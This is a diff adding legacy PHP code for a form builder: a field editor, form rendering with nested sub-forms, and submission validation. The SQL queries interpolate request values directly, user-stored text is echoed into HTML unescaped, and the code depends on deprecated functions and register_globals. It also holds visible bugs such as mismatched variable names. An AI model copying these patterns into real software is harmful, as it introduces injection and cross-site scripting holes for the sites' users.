+ <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Image" STYLE="font-size: '.$font_size.';"></CENTER>
+ </FORM>
+ ' );
+ break;
+
+ // File Download
+
+ case 25:
+
+ $mf_type_text = 'File Download';
+ $mf_data .= quick_edit( $mf['id']."_file",
+ ( $mf['file'] != '' ?
+ '<SPAN CLASS="standout">File: '.$mf['file'].'</SPAN>'
+ :
+ '<SPAN CLASS="standout">(File not provided)</SPAN>'
+ ),
+ $base_form_data.'<TABLE BORDER="0" width="100%">'
+ .( $mf['file'] != '' ?
+ '<TR>
+ <TD ALIGN="right" VALIGN="top">Current File:</TD>
+ <TD ALIGN="left" COLSPAN="2">
+ <a href="'.SI_BASE_FILE_URL.'/'.$mf['file'].'" target="file_page">'.$mf['file'].'</a>
+ <INPUT TYPE="checkbox" NAME="mf_field_file_delete"> Delete this file
+ </TD>
+ </TR>
+ <TR><TD COLSPAN="2"> </TD></TR>
+ ' : '' ).'
+ <TR>
+ <TD ALIGN="right" VALIGN="top">Upload/Replace File:</TD>
+ <TD ALIGN="left" COLSPAN="2" VALIGN="top"><INPUT TYPE="file" NAME="mf_field_file"></TD>
+ </TR>
+ </TABLE>
+ <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update File" STYLE="font-size: '.$font_size.';"></CENTER>
+ </FORM>
+ ' );
+
+ break;
+
+ // Calculated field
+
+ case 31:
+ // Not yet implimented
+ break;
+
+ case 0:
+ default:
+ $mf_data = ' ';
+
+ break;
+ }
+
+ // Build list of available styles for this field
+
+ $mf_style_list = '';
+ reset( $mf_styles );
+ while( list($key, $val) = each($mf_styles) )
+ if( strstr( $val['types'], ' '.$mf['type'].' ' ) )
+ $mf_style_list .= '<option value="'.$key.'"'.($mf['style']==$key?' SELECTED':'').'>'.$key.'</option>';
+
+ // Extract current format info and build list of possible formats for this field
+
+ $mf_cf = explode( '~', $mf['format'] );
+ $mf_format_list = '';
+ reset( $mf_formats );
+ while( list($key, $val) = each($mf_formats) )
+ if( strstr( $val['types'], ' '.$mf['type'].' ' ) )
+ $mf_format_list .= '<option value="'.$key.'"'.($mf_cf[0]==$key?' SELECTED':'').'>'.$key.'</option>';
+
+ // Display Title, descr, and optionally size with QuickEdit pop-up
+
+ if( $mf['type'] > 0 && ( $mf['type'] < 20 || $mf['type'] == 24 || $mf['type'] == 25 ) )
+ $mf_text .= quick_edit( $mf['id'],
+ '<SPAN CLASS="standout">Title: '.stripslashes($mf['title']).'</SPAN>'
+ .( $mf['expanded'] == 't' ?
+ '<BR>
+ <SPAN CLASS="standout_small">Descr: '.stripslashes($mf['descr'])
+ .( $mf['type'] >= 2 && $mf['type'] <= 4 ?
+ '<BR>Columns: '.$mf['cols']
+ .( $mf['type'] == 4 ?
+ '<BR>Rows: '.$mf['rows']
+ : '' )
+ : '' )
+ .( $mf['type'] >= 2 && $mf['type'] <= 3 ?
+ '<BR>Default Value: '.$mf['default_val']
+ : '' )
+ : '' ),
+ $base_form_data.'<TABLE BORDER="0">
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Title:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_title" VALUE="'.stripslashes($mf['title']).'" STYLE="font-size: '.$font_size.';" SIZE="70"></TD>
+ </TR>
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Descr:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><TEXTAREA NAME="mf_field_descr" STYLE="font-size: '.$font_size.';" COLS="67" ROWS="3">'.stripslashes($mf['descr']).'</TEXTAREA></TD></TR>
+ </TR>
+ '.( $mf['type'] >= 2 && $mf['type'] <= 4 ? '
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Columns:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_cols" VALUE="'.$mf['cols'].'" STYLE="font-size: '.$font_size.';" SIZE="6"> </TD></TR>
+ </TR>
+ '.( $mf['type'] == 4 ? '
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Rows:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_rows" VALUE="'.$mf['rows'].'" STYLE="font-size: '.$font_size.';" SIZE="6"> </TD></TR>
+ </TR>
+ ' : '' ).'
+ ' : '' ).'
+ '.( $mf['type'] >= 2 && $mf['type'] <= 3 ? '
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Default Value:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_def_val" VALUE="'.$mf['default_val'].'" STYLE="font-size: '.$font_size.';" SIZE="30"> </TD></TR>
+ </TR>
+ ' : '' ).'
+ </TABLE>
+ <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Field" STYLE="font-size: '.$font_size.';"></CENTER>
+ </FORM>
+ ' );
+
+
+ $r['text'] .= '<TBODY>
+ <TR>
+ <TD VALIGN="top" WIDTH="100" ROWSPAN="2">'
+ .'<form action="'.SI_THIS_SCRIPT.'"'.$form_data.$mf_form_data.'
+ <input type="hidden" name="mf_action" value="Reposition">
+ <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+ <INPUT TYPE="text" NAME="mf_position_num" ID="mf_field_'.$mf['id'].'" VALUE="'.($mf['sort']/10).'" SIZE="5" onChange="submit();" > '
+ .'<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Reposition&mf_field_id='.$mf['id'].'&mf_position='.( $mf['sort'] - 15 ).'">↑</A> '
+ .'<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Reposition&mf_field_id='.$mf['id'].'&mf_position='.( $mf['sort'] + 15 ).'">↓</A>
+ ';
+ if( $mf['expanded'] == 't' )
+ {
+ $r['text'] .= ' <BR>
+ <span class="standout_small">'
+ .( $mf_type_text != '' ?
+ $mf_type_text
+ .'</span><BR>
+ <span class="standout_small">'
+ .quick_edit( $mf['id']."_style",
+ $mf_styles[$mf['style']]['short_name'],
+ '<CENTER>
+ <FORM NAME="set_style" ACTION="'.SI_THIS_SCRIPT.'">
+ '.$form_data.$mf_form_data.'
+ Set style For this field:
+ <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+ <SELECT NAME="mf_style">
+ '.$mf_style_list.'
+ </SELECT>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Style">
+ </form>
+ </CENTER>' ).'
+ </span><BR>
+ '.( $mf_format_list != '' ? '
+ <span class="standout_small">'
+ .quick_edit( $mf['id']."_format",
+ ( $mf_cf[0] != '' ? $mf_formats[$mf_cf[0]]['short_name'] : 'Default Format' ),
+ '<CENTER>
+ <FORM NAME="set_format" ACTION="'.SI_THIS_SCRIPT.'">
+ '.$form_data.$mf_form_data.'
+ <table border="0">
+ <tr>
+ <td align="right">Format Type: </td>
+ <td align="left"><input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+ <SELECT NAME="mf_format_type">
+ '.$mf_format_list.'
+ </SELECT>
+ </td>
+ </tr>
+ <tr>
+ <td align="right">Maximum Characters/Digits to left of decimal point: </td>
+ <td align="left"><INPUT TYPE="text" NAME="mf_format_char" VALUE="'.$mf_cf[1].'" SIZE="6"></td>
+ </tr>
+ <tr>
+ <td align="right">Digits after Decimal Point: </td>
+ <td align="left"><INPUT TYPE="text" NAME="mf_format_dec" VALUE="'.$mf_cf[2].'" SIZE="6"></td>
+ </tr>
+ <tr>
+ <td align="right">Number Range: </td>
+ <td align="left"><INPUT TYPE="text" NAME="mf_format_min" VALUE="'.$mf_cf[3].'" SIZE="6"> Min <INPUT TYPE="text" NAME="mf_format_max" VALUE="'.$mf_cf[4].'" SIZE="6"> Max</td>
+ </tr>
+ <tr><td colspan="2" align="center">(Note: Not all fields used for all format types.)</td></tr>
+ <tr><td colspan="2" align="center"><INPUT TYPE="submit" NAME="mf_action" VALUE="Set Field Format"></td></tr>
+ </table>
+ </form>
+ </CENTER>' ).'
+ </span><BR>
+ ' : '' ).'
+ <span class="standout_small"><nobr>ID: '
+ .quick_edit( $mf['id']."_id",
+ ( $mf['custom_id'] != '' ? $mf['custom_id'] : 'mf_'.$mf['id'] ),
+ '<CENTER>
+ <FORM NAME="set_style" ACTION="'.SI_THIS_SCRIPT.'">
+ '.$form_data.$mf_form_data.'
+ Custom ID:
+ <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+ <input type="text" name="mf_custom_id" value="'.$mf['custom_id'].'" size="15"><br>
+ Clear to reset to default ID.<P>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Custom ID">
+ </form>
+ </CENTER>' ).'
+ </nobr></span><BR>'.( $mf_custom_id_update_message != '' ? '<font color="red">'.$mf_custom_id_update_message.'</font><br>' : '' ).'
+ ' :
+ quick_edit( $mf['id'],
+ '<font color="red">Type Not Set</font>',
+ '<CENTER>
+ <FORM NAME="add_field" ACTION="'.SI_THIS_SCRIPT.'">
+ '.$form_data.$mf_form_data.'
+ <font color="red">Set field type: </font>
+ <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+ <SELECT NAME="mf_type">
+ <OPTION VALUE="1">Checkbox
+ <OPTION VALUE="2">Number
+ <OPTION VALUE="3">Text
+ <OPTION VALUE="4">Text Box
+ <OPTION VALUE="5">Picklist
+ <OPTION VALUE="6">Radio Buttons
+ <OPTION VALUE="7">File Upload
+ <OPTION VALUE="20">Section Title
+ <OPTION VALUE="21">Misc. Text
+ <OPTION VALUE="22">Horizontal Line
+ <OPTION VALUE="23">Blank Line
+ <OPTION VALUE="24">Display Image
+ <OPTION VALUE="25">Download File
+ <!-- <OPTION VALUE="31">Calculated Field (currently dissabled) -->
+ </SELECT>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Type">
+ </form>
+ </CENTER>' ).'<br>
+ <font color="red">Field Style Not Set</font>'
+ ).'<br>
+
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Active&mf_field_id='.$mf['id'].'">'.( $mf['active'] == 't' ? 'Active' : '<FONT COLOR="#c0c0c0">Active</FONT>' ).' </A><br>
+ '.( $mf['type'] > 1 && $mf['type'] < 20 ? '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Required&mf_field_id='.$mf['id'].'">'.($mf['required']=='t'?'Required':'<FONT COLOR="#c0c0c0">Required</FONT>').'</A> ':' ').'
+
+ ';
+ }
+
+ $r['text'] .= '</TD>
+ ';
+
+ if( !empty($mf_text) )
+ $r['text'] .= ' <TD ALIGN="left" VALIGN="top">'.$mf_text.'</TD>';
+ else
+ $r['text'] .= ' <TD> </TD>';
+
+ $r['text'] .= ' <TD VALIGN="top" ALIGN="right">
+ '.( $mf['expanded'] == 't' ?
+ '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Expanded&mf_field_id='.$mf['id'].'">[Contract]</A><BR>
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Delete&mf_field_id='.$mf['id'].'">[Delete]</A> <BR>
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Add+Field&mf_position='.( $mf['sort'] - 5 ).'"><nobr>[Add Above]</nobr></A> '
+ :
+ '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Expanded&mf_field_id='.$mf['id'].'">[Expand]</A>'
+ ).'
+ </TD>
+ </TR>
+ '.( $mf['expanded'] == 't' ? '<TR><TD VALIGN="top" COLSPAN="3">'.$mf_data.'</TD></TR>' : '<TR><TD COLSPAN="3"></TD></TR>' ).'
+ </TBODY>
+ ';
+ }
+ }
+
+
+ $r['text'] .= '<TR><TD COLSPAN="3" ALIGN="right">
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Add+Field&mf_position=9999">[Add New Field]</A>
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Expand+All">[Expand All]</A>
+ <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Contract+All">[Contract All]</A>
+ </TD></TR></TABLE>
+ ';
+ $r['success'] = true;
+
+ return( $r );
+
+ }
+
+ // MagicForm - Display Form
+
+function magic_form_display( $mf_id, $mf_styles, $mf_fiid = null, $mf_def_data = array(), $mf_level = 0 )
+ {
+
+ global $mf_formats;
+
+ // Get the fields specifications for the specified form
+
+ $mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+
+ // If this is level 0, get any data supplied from earlier form submissions, if level > 0 then use data we already have
+
+ if( $mf_fiid != null )
+ $mf_data = db_auto_get_data( "SELECT * FROM ".MF_DATA_TABLE." WHERE fiid = '$mf_fiid' ORDER BY sort;", SI_CONN_STR, FALSE );
+ else
+ $mf_data = &$mf_def_data;
+
+ // Initialize results array
+
+ $r = array( 'success' => true, 'text' => '', 'required' => false );
+
+ $mf_level++; // Incriment MagicForm recurse level (not shure why we're doing this though)
+ $problem = '';
+ $current_style = '';
+ $current_collumn = 1;
+
+ if( is_array($mf_fields) )
+ {
+
+ reset( $mf_fields );
+ foreach( $mf_fields as $mf )
+ {
+
+ if( $mf['active'] == 't' )
+ {
+
+ //
+ // Style/Layout Stuff
+ //
+
+ // Determine format spec
+
+ $f = $mf_styles[$mf['style']]; // just use default for now and assume 1 col/row
+
+ // Check if we're switching styles and handle accordingly
+
+ if( $current_style != $mf['style'] )
+ {
+ // If this is not the first style
+ if( $current_style != '' )
+ {
+ // If not at the last column, fill with blank cells
+ if( $current_column < $mf_styles[$current_style]['cols'] )
+ for( $i=$current_column ; $i<=$mf_styles[$current_style]['cols'] ; $i++ )
+ $r['text'] .= $mf_styles[$current_style]['col_empty'];
+ $r['text'] .= $mf_styles[$current_style]['row_end'].$mf_styles[$current_style]['end'];
+ }
+
+ // Set new style and output start and row headder
+ $current_style = $mf['style'];
+ $r['text'] .= $f['start'].$f['row_start'];
+ $current_collumn = 1;
+ }
+
+ // Check if we need to start a new row
+
+ if( $current_collumn++ > $f['cols'] )
+ {
+ $r['text'] .= $f['row_end'].$f['row_start'];
+ $current_collumn = 1;
+ }
+
+ //
+ // End of Style/Layout stuff
+ //
+
+ $view_tags = array ( "global" => array() );
+ $v = &$view_tags["global"];
+
+ $field_name = 'mf_'.$mf['id']; // Name we're going to use for this field
+ $v['title'] = stripslashes($mf['title']);
+ $v['descr'] = stripslashes($mf['descr']);
+ $v['required'] = '';
+ if( $mf['type'] > 1 && $mf['type'] < 20 && $mf['required'] == 't' ) // if field is required, display in red
+ {
+ $v['required'] = 'Yes';
+ $r['required'] = true;
+ }
+ $v['image'] = $v['file'] = $v['input'] = '';
+
+ $GLOBALS['mf_'.$mf['id']] = stripslashes($GLOBALS['mf_'.$mf['id']]); // get current field input data
+
+ $v['sub_forms'] = ''; // Start with no sub-forms
+
+ // Check for default data for this field and use either opt_num or value depending on type
+
+ if( is_array($x=$mf_def_data[$mf['id']]) )
+ switch( $mf['type'] )
+ {
+ case 1: // Checkbox
+ case 5: // Picklist
+ case 6: // Radio Buttons
+ $inp = $x['opt_num'];
+ break;
+ default:
+ $inp = $x['value'];
+ break;
+ }
+ else
+ $inp = $mf['default_val']; // Otherwise use defaut data
+
+ // Extract field format specs and replace occurances of {chars} and {prec}
+
+ $mf_cf = explode( '~', $mf['format'] );
+ $mf_cf_size = $mf_cf[1] + ($mf_cf[2]>0?1:0) + $mf_cf[2];
+ $mf_cf_out = str_replace( '{chars}', $mf_cf[1], $mf_formats[$mf_cf[0]]['format'] );
+ $mf_cf_out = str_replace( '{prec}', $mf_cf[2], $mf_cf_out );
+
+ if( $mf_cf_out == '' ) // If nothing specified, default to simple string out
+ $mf_cf_out = '%s';
+
+ switch( $mf['type'] )
+ {
+
+ case 1: // Checkbox
+
+ // Build most of checkbox input tag but leave open for rest of JAVAscript onChange text
+
+ $v['input'] = '<INPUT TYPE="checkbox" NAME="'.$field_name.'" id="'.$field_name.'" '.($inp=='1'?' CHECKED':'').' onClick="';
+ $ans = explode( "|", $mf['data1'] ); // Separate answers
+
+ if( $inp == '' ) $inp = 0; // Default to false
+ $xv = '';
+
+ // Check response for subform ($i=1 - Yes, $i=2 - No)
+ for( $i=1 ; $i<=2 ; $i++ )
+ {
+ $an = explode( '~', $ans[$i-1] );
+
+ // Check for a sub-form
+
+ if( !empty($an[1]) )
+ {
+ $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+ if( $sub['success'] )
+ {
+ $v['sub_forms'] .= '<div id="'.$field_name.'_'.$i.'" style="display: '.($inp==$i?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+ $v['input'] .= "document.getElementById('".$field_name."_$i').style.display = document.getElementById('".$field_name."').checked == ".($i==1?'true':'false')." ? 'block' : 'none'; ";
+ }
+ else
+ $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for checkbox: '.$mf['title'].'<p>';
+ }
+
+ // Optionally set value if this is the "Yes" option
+
+ if( $i==0 && $an[2] != '' )
+ switch( $an[3] )
+ {
+ case 1: $xv .= " ".money($an[2]); break;
+ default: $xv .= " ".$an[2]; break;
+ }
+
+ }
+
+ $v['input'] .= '"> '.$xv; // Close onChange string
+
+ break;
+
+ case 2: // Number
+ case 3: // Text
+ $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+ $v['input'] = '<INPUT TYPE="text" NAME="mf_'.$mf['id'].'" VALUE="'.trim(sprintf( $mf_cf_out, $inp )).'" SIZE="'.$mf['cols'].'" '.($mf_cf_size>0?' maxlength="'.$mf_cf_size.'"':'').'>';
+ break;
+
+ case 4: // Text Box
+ $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+ $v['input'] = '<TEXTAREA NAME="mf_'.$mf['id'].'" COLS="'.$mf['cols'].'" rows="'.$mf['rows'].'">'.$inp.'</TEXTAREA>';
+ break;
+
+ case 5: // Picklist
+ $opts = explode( "|", $mf['data1'] );
+ $sel = '<SELECT NAME="mf_'.$mf['id'].'" id="'.$field_name.'" onChange="';
+ $sel_opts = '<OPTION VALUE="" '.($inp==''?'SELECTED':'').'>';
+ $n = 1;
+ foreach( $opts as $opt )
+ {
+ $an = explode( "~", $opt );
+
+ $sel_opts .= '<OPTION VALUE="'.$n.'"';
+ if( $inp == $n )
+ $sel_opts .= ' SELECTED';
+ if( !empty($an[1]) )
+ {
+ $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+ if( $sub['success'] )
+ {
+ $v['sub_forms'] .= '<div id="'.$field_name.'_'.$n.'" style="display: '.($n==$inp?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+ $sel .= "document.getElementById('".$field_name."_$n').style.display = document.getElementById('".$field_name."').value == '".$n."' ? 'block' : 'none'; ";
+ }
+ else
+ $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for picklist: '.$mf['title'].'<p>';
+ }
+ $n++;
+ $sel_opts .= '> '.$an[0];
+
+ // Optionally set value if this is the "Yes" option
+
+ if( $an[2] != '' )
+ switch( $an[3] )
+ {
+ case 1: $sel_opts .= " - ".money($an[2]); break;
+ default: $sel_opts .= " - ".$an[2]; break;
+ }
+
+ }
+ $v['input'] .= $sel.'">'.$sel_opts.'</SELECT>';
+ break;
+
+ case 6: // Radio Buttons
+ $opts = explode( "|", $mf['data1'] );
+ $sel = '';
+ $n = 1;
+ $sub_func = ' <script language="JavaScript1.2"> function f_'.$field_name.'(v){ ';
+ foreach( $opts as $opt )
+ {
+ $an = explode( "~", $opt );
+ $sel .= '<NOBR><INPUT TYPE="radio" NAME="mf_'.$mf['id'].'" VALUE="'.$n.'"';
+ if( $inp == $n )
+ $sel .= ' CHECKED';
+ $sel .= ' onClick="f_'.$field_name."('".$n."'); \"";
+ if( !empty($an[1]) )
+ {
+ $sub_func .= " document.getElementById('".$field_name.'_'.$n."').style.display = v == '".$n."' ? 'block': 'none'; ";
+ $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+ if( $sub['success'] )
+ $v['sub_forms'] .= '<div id="'.$field_name.'_'.$n.'" style="display: '.($n==$inp?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+ else
+ $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for radio buttons: '.$mf['title'].'<p>';
+ }
+ $n++;
+ $sel .= '>'.$an[0];
+
+ // Optionally set value if this is the "Yes" option
+
+ if( $an[2] != '' )
+ switch( $an[3] )
+ {
+ case 1: $sel .= " - ".money($an[2]); break;
+ default: $sel .= " - ".$an[2]; break;
+ }
+
+ $sel .= '</nobr>';
+
+ }
+ $sub_func .= ' } </script>';
+ $v['input'] = $sub_func.$sel;
+ break;
+
+ case 7: // File Upload
+ $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+ $v['input'] = '<INPUT TYPE="hidden" NAME="exist_mf_'.$mf['id'].'" value="'.$inp.'">
+ <table border="1">
+ ';
+ if( $inp != '' )
+ $v['input'] .= '<tr><td><a href="'.SI_BASE_FILE_URL.'/'.$inp.'" target="file_page">'.$inp.'</a></td><td><input type="checkbox" name="delete_mf_'.$mf['id'].'"> Delete</td></tr>
+ ';
+ $v['input'] .= '<tr><td colspan="2"><INPUT TYPE="file" NAME="mf_'.$mf['id'].'" VALUE="'.$inp.'" SIZE="'.$mf['cols'].'"></td></tr>
+ </table>';
+ break;
+
+ case 20: // Section Title
+ $v['title'] = stripslashes($mf['data1']);
+ $v['input'] = '';
+ break;
+
+ case 21: // Misc. Text
+ $v['title'] = '';
+ $v['input'] = stripslashes($mf['data1']);
+ break;
+
+ case 24: // Image
+ switch( $mf['size'] )
+ {
+ case 'original': $image_size_url = SI_IMG_ORIGINAL_URL; break;
+ case 'resized': $image_size_url = SI_IMG_RESIZED_URL; break;
+ case 'midsized': $image_size_url = SI_IMG_MIDSIZED_URL; break;
+ default:
+ case 'thumb': $image_size_url = SI_IMG_THUMB_URL; break;
+ }
+
+ $v['image'] = '<u><img src="'.$image_size_url.'/'.$mf['file'].'"></u>';
+ break;
+
+ case 25: // File
+ $v['title'] = '<a href="'.SI_BASE_FILE_URL.'/'.$mf['file'].'" target="file_page">'.(trim($mf['title'])!=''?$mf['title']:$mf['file']).'</a>';
+ break;
+
+ case 22: // Horizontal Line
+ case 23: // Blank Line (space)
+ default:
+ $v['title'] = '';
+ $v['input'] = '';
+ break;
+
+ } // Type
+
+ $r['text'] .= parse_string_view( $f['body'], $view_tags );
+
+ } // Active
+ } // Each field
+
+ // If not at the last column, fill with blank cells before closing
+ if( $current_column < $mf_styles[$current_style]['cols'] )
+ for( $i=$current_column ; $i<=$mf_styles[$current_style]['cols'] ; $i++ )
+ $r['text'] .= $mf_styles[$current_style]['col_empty'];
+ $r['text'] .= $mf_styles[$current_style]['row_end'].$mf_styles[$current_style]['end'];
+ }
+
+ if( !empty($problem) )
+ echo "Problems processing this form.<p>$problem<p>";
+
+ return( $r );
+
+ }
+
+ // MagicForm - Submit Form
+
+function magic_form_submit( $mf_id, $mf_fiid = null, $mf_def_data = null, $mf_level = 0 )
+ {
+
+ global $mf_formats;
+
+ $mf_level++; // Incriment MagicForm recurse level (not shure why we're doing this though)
+
+ // Get form field specifications
+
+ $mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+
+ // Initialize result array
+
+ $mf_results = array( 'success' => true, 'data' => array(), 'total_value' => 0, 'html' => '', 'csv' => ($mf_level==1?'"ID","Sub Form Level","Title","Type","Data","Value","Valid","Required","Notes"'."\n":''), 'problem' => '' );
+
+ $problem = '';
+ $current_collumn = 1;
+
+ $mf_total_value = 0; // Accumulates a total of the optional value data for checkboxes, picklists, and radio buttons
+
+ if( is_array($mf_fields) )
+ {
+
+ reset( $mf_fields );
+ foreach( $mf_fields as $mf )
+ {
+
+ // If it's a supplied data field and it's active
+
+ if( $mf['type'] < 20 && $mf['active'] == 't' )
+ {
+
+ // Determine Field ID
+
+ $mf_field_id = ( $mf['custom_id'] != '' ? $mf['custom_id'] : 'mf_'.$mf['id'] );
+
+ // If we didn't get previously submitted data
+
+ if( $mf_def_data == null )
+ $inp = stripslashes(str_replace("\r",'',trim($GLOBALS['mf_'.$mf['id']]))); // Get form input value
+ else
+ $inp = $mf_def_data[$mf_field_id]; // Get value from supplied array
+
+ $res = array
+ (
+ 'id' => $mf_field_id,
+ 'level' => $mf_level,
+ 'title' => $mf['title'],
+ 'type' => $mf['type'],
+ 'txt_typ' => '',
+ 'value' => '',
+ 'txt_val' => '',
+ 'opt_num' => '',
+ 'valid' => true,
+ 'required' => false,
+ 'numb_val' => '',
+ 'failure' => ''
+ );
+
+ // Set text for field type
+
+ switch( $mf['type'] )
+ {
+ case 1: $res['txt_typ'] = 'Checkbox'; break;
+ case 2: $res['txt_typ'] = 'Number'; break;
+ case 3: $res['txt_typ'] = 'Text'; break;
+ case 4: $res['txt_typ'] = 'Text Box'; break;
+ case 5: $res['txt_typ'] = 'Pick List'; break;
+ case 6: $res['txt_typ'] = 'Radio Buttons'; break;
+ case 7: $res['txt_typ'] = 'File Upload'; break;
+ default: break;
+ }
+
+ $sub = ''; // Assume no sub-form
+
+ // *** SHOULD PROBABLY CHECK DATA INPUT INTEGRITY HERE
+
+ // Check if a required field is not populated
+
+ if( $mf['type'] > 1 && $mf['type'] < 20 && $mf['required'] == 't' )
+ {
+ $res['required'] = true;
+ if( $inp == '' || ($mf_type['type']==7 && $inp=='none') ) // if field is required and not provided
+ {
+ $res['valid'] = false;
+ $res['failure'] = 'Required response not provided.';
+ $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a response that was not provided.</li>'."\n";
+ }
+ }
+
+ switch( $mf['type'] )
+ {
+
+ case 1: // Checkbox
+
+ $ans = explode( "|", $mf['data1'] ); // Separate possible answers
+
+ $sub_id = '';
+
+ if( $inp == 'on' )
+ {
+ $res['value'] = 't';
+ $res['txt_val'] = 'Yes';
+ $res['opt_num'] = '1';
+ $an = explode( '~', $ans[0] );
+ $sub_id = $an[1];
+ if( $an[2] != '' )
+ $res['numb_val'] = $an[2];
+
+ }
+ else
+ {
+ $res['value'] = 'f';
+ $res['txt_val'] = 'No';
+ $res['opt_num'] = '2';
+ $an = explode( '~', $ans[1] );
+ $sub_id = $an[1];
+ if( $an[2] != '' )
+ $res['numb_val'] = $an[2];
+ }
+
+ if( $sub_id != '' )
+ {
+ $sub = magic_form_submit( $sub_id, $mf_fiid, $mf_def_data, $mf_level );
+ if( !$sub['success'] )
+ $mf_results['problem'] .= $sub['problem'];
+ else
+ $mf_total_value += $sub['total_value'];
+ }
+
+ break;
+
+ case 2: // Number
+
+ $inp = ereg_replace( "[\$,]", "", $inp );
+
+ case 3: // Text
+ case 4: // Text Box
+
+ // Extract field format specs
+
+ $mf_cf = explode( '~', $mf['format'] );
+ $mf_cf_size = $mf_cf[1] + ($mf_cf[2]>0?1:0) + $mf_cf[2];
+ $mf_cf_out = str_replace( '{chars}', $mf_cf[1], $mf_formats[$mf_cf[0]]['format'] );
+ $mf_cf_out = str_replace( '{prec}', $mf_cf[2], $mf_cf_out );
+
+ if( trim($inp) != '' )
+ {
+ if( $mf_cf[3] != '' && $inp < $mf_cf[3] )
+ {
+ $res['valid'] = false;
+ $res['failure'] .= 'Value not in range';
+ $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a value greater than or equal to '.$mf_cf[3].'.</li>'."\n";
+ }
+
+ if( $mf_cf[4] != '' && $inp > $mf_cf[4] )
+ {
+ $res['valid'] = false;
+ $res['failure'] .= 'Value not in range';
+ $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a value less than or equal to '.$mf_cf[4].'.</li>'."\n";
+ }
+
+ if( $mf_formats[$mf_cf[0]]['regex'] != '' && preg_match( '/^'.$mf_formats[$mf_cf[0]]['regex'].'$/', $inp ) == 0 )
+ {
+ $res['valid'] = false;
+ $res['failure'] .= 'Input format not valid';
+ $mf_results['problem'] .= '<li>"Value supplied to '.$mf['title'].'" was not valid. Must be '.$mf_cf['0'].' (i.e. '.$mf_formats[$mf_cf[0]]['sample'].').</li>'."\n";
+ }
+ }
+
+ $res['value'] = ( $mf_cf_out != '' ? sprintf( $mf_cf_out, $inp ) : $inp );
+
+ break;
+
+ case 5: // Picklist
+
+ $res['opt_num'] = $inp;
+ $opts = explode( "|", $mf['data1'] ); // Separate Options
+ if( $inp != '' ) // If an options is selected
+ {
+ $x = explode( "~", $opts[$inp-1] ); // Separate data for selected option
+ $res['value'] = $x[0]; // Use option name
+ if( $x[2] != '' )
+ $res['numb_val'] = $x[2];
+ }
+ else
+ $res['value'] = '';
+
+ // Check selected option for Sub-Form
+
+ $n = 1;
+ foreach( $opts as $opt )
+ {
+ $an = explode( "~", $opt );
+ if( $inp == $n && !empty($an[1]) )
+ {
+ $sub = magic_form_submit( $an[1], $mf_fiid, $mf_def_data, $mf_level );
+
+ if( !$sub['success'] )
+ $mf_results['problem'] .= $sub['problem'];
+ else
+ $mf_total_value += $sub['total_value'];
+ }
+ $n++;
+ }
+
+ break;
+
+ case 6: // Radio Buttons
+
